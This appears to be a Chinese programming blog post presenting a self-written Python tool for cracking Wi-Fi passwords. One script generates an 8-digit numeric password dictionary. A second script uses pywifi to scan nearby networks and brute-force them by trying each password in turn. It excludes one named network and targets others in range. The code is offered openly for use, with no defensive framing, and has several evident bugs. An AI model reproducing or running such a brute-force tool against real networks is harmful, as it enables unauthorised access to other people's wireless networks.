使用python3 破解wifi密码 自写程序

系统 1818 0

运行环境:win10 + python3.7

 

生成密码的代码如下:

----------------------------------------------------------------------------------------------------------------------------

 

            
import itertools as its

if __name__ == '__main__':
    words_num = "1234567890"
    words_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    r = its.product(words_num,repeat=8)
    dic = open("password-8位数字.txt","w")
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()
    print("完全写入成功")


          

----------------------------------------------------------------------------------------------------------------------------

运行破解密码代码如下:

 

-------------------------------------------------------------------------------------------------------------------------------

 

            
import pywifi
import time
import constant
import comtypes

def getwifi(wifilist,wificount):
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取网卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist: #去掉重命名的wifi名称
            namelist.append(data.ssid)
            allwifilist.append((data.ssid,data.signal))
            sorted(allwifilist,key=lambda st:st[1],reverse=True)
            time.sleep(1)
            n = 0
            if len(allwifilist) is not 0:
                for item in allwifilist:
                    if(item[0] not in ssidlist) & (item[0] not in wifilist):
                        n+=1
                        if n <= wificount:
                            ssidlist.append(item[0])
                            print(allwifilist)

    return ssidlist

def getifaces():
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取网卡
    ifaces.disconnect() # 断开无线网卡连接
    return ifaces

def testwifi(ifaces,ssidname,password):
    profile = pywifi.Profile() # 创建wifi连接文件
    profile.ssid = ssidname # 定义wifissid
    profile.auth = constant.const.AUTH_ALG_OPEN #网卡开放
    profile.akm.append(constant.const.AKM_TYPE_WPA2PSK) #wifi加密算法
    profile.cipher = constant.const.CIPHER_TYPE_CCMP #加密单元
    profile.key =  password #wifi密码
    ifaces.remove_all_network_profiles()#删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)#加载配置文件
    ifaces.connect(tmp_profile) #连接wifi
    time.sleep(5) # 5秒能否连接上
    if ifaces.status() == constant.const.IFACE_CONNECTED:
        return True
    else:
        return False

def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r'password-8位数字.txt' # wifi密码文件
    files = open(path,'r')
    while True:
        try:
            password = files.readline()
            password = password.strip(' \n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在尝试"+wifiname+','+password)
                if testwifi(ifaces,wifiname,password):
                    wifinamelist.remove(wifiname)
                    break
                if not wifinamelist:
                    break
        except:
            continue
        files.close()

if __name__ == '__main__':
    wifiname_e = ['HNIU'] #排除不破解的wifi的名字
    wifinames = getwifi(wifiname_e,5)
    print(wifinames)
    beginwork(wifinames)


          

-------------------------------------------------------------------------------------------------------------------------------

 

如何代码有问题或者需要优化的地方,欢迎二提出来了,谢谢!

联系QQ:2433702912

 


更多文章、技术交流、商务合作、联系博主

微信扫码或搜索:z360901061

微信扫一扫加我为好友

QQ号联系: 360901061

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描下面二维码支持博主2元、5元、10元、20元等您想捐的金额吧,狠狠点击下面给点支持吧,站长非常感激您!手机微信长按不能支付解决办法:请将微信支付二维码保存到相册,切换到微信,然后点击微信右上角扫一扫功能,选择支付二维码完成支付。

【本文对您有帮助就好】

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描上面二维码支持博主2元、5元、10元、自定义金额等您想捐的金额吧,站长会非常 感谢您的哦!!!

发表我的评论
最新评论 总共0条评论